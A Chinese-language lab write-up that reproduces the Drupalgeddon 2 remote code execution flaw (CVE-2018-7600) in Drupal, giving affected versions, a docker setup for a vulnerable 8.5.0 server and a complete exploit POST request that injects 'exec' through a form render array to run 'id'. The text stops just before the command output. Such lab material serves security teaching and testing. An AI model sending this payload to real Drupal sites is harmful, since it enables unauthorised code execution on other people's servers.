Drupal Drupalgeddon 2 未授权远程代码执行漏洞(CVE-2018-7600)¶
Drupal是一个使用PHP编写的免费开源的Web内容管理框架。
在Drupal 7.58之前的版本、8.3.9之前的8.x版本、8.4.6之前的8.4.x版本和8.5.1之前的8.5.x版本中存在远程代码执行漏洞。该漏洞影响了多个具有默认或常见模块配置的子系统,包括Form API。
参考链接:
环境搭建¶
执行如下命令启动一个存在漏洞的Drupal 8.5.0服务器:
docker compose up -d
环境启动后,访问http://your-ip:8080/
将会看到Drupal的安装页面。使用"标准"配置文件完成Drupal安装。由于环境中没有MySQL,安装时应选择SQLite数据库。安装完成后,即可开始漏洞利用。
漏洞复现¶
参考a2u/CVE-2018-7600,我们可以向Drupal发送以下请求:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
代码执行成功后,id命令将被执行: